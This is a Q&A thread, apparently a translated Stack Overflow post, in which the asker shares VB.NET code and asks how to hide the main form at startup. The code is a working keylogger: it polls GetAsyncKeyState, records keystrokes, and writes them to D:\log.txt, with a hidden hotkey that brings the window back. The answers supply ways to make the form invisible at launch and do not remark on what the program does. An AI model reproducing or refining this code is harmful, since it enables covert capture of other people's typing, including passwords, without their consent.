如何在启动时隐藏vb表单?

时间:2013-04-05 09:56:17

标签: vb.net winforms

我试图在启动时隐藏主窗体,但由于某种原因我没有这样做。在下面的代码中,我创建了一个隐藏表单的按钮,但我想在加载时隐藏表单。请帮帮我。提前谢谢。

Option Strict On

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

    Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
        Dim result As Integer
        Dim key As String

        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                tbLog.Text = tbLog.Text + Chr(i)
                If i = 13 Then key = vbNewLine

                Exit For
            End If
        Next i

        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                tbLog.Text = key
            Else
                tbLog.Text = key.ToLower
            End If
        End If

        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
            Me.Show()

        End If
    End Sub

    Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
        Me.Hide()
    End Sub
    Private msg As String = ""
    Private Sub timerSave_Tick() Handles timerSave.Tick
        My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True)
        tbLog.Clear()

    End Sub

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
        tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine
        'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True)
        timerSave_Tick()

    End Sub


    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

        tbLog.Text = " Started at :" & Now & vbNewLine

    End Sub

    Public Sub store(ByVal s As String)

    End Sub
End Class

3 个答案:

答案 0 :(得分:4)

如果您不想在启动时显示表单,那么解决方案是更改项目的启动方法,而不是尝试隐藏表单。

在应用程序设置中,禁用“应用程序框架”并将启动对象设置为Sub Main而不是表单对象。然后在模块中编写适当的Sub Main入口点。

The MSDN has more information(尽管本文中给出的一些信息极具误导性)。

答案 1 :(得分:0)

当你进入代码选项卡时,它下面是一个列表框。选择“(form1 events)”。完成后,紧挨着它是另一个列表框。将该文本框放在“加载”上。创建一个新事件。该程序在程序启动时启动。放入此事件:me.visible = false。这应该做到。

答案 2 :(得分:0)

只需在表单的开头输入粘贴内容即可。

Protected Overrides Sub SetVisibleCore(ByVal value As Boolean)
    If Not Me.IsHandleCreated Then
        Me.CreateHandle()
        value = False
    End If
    MyBase.SetVisibleCore(value)
End Sub

有关更多信息,请访问: How to have an invisible start up form? by Hans Passant

最佳,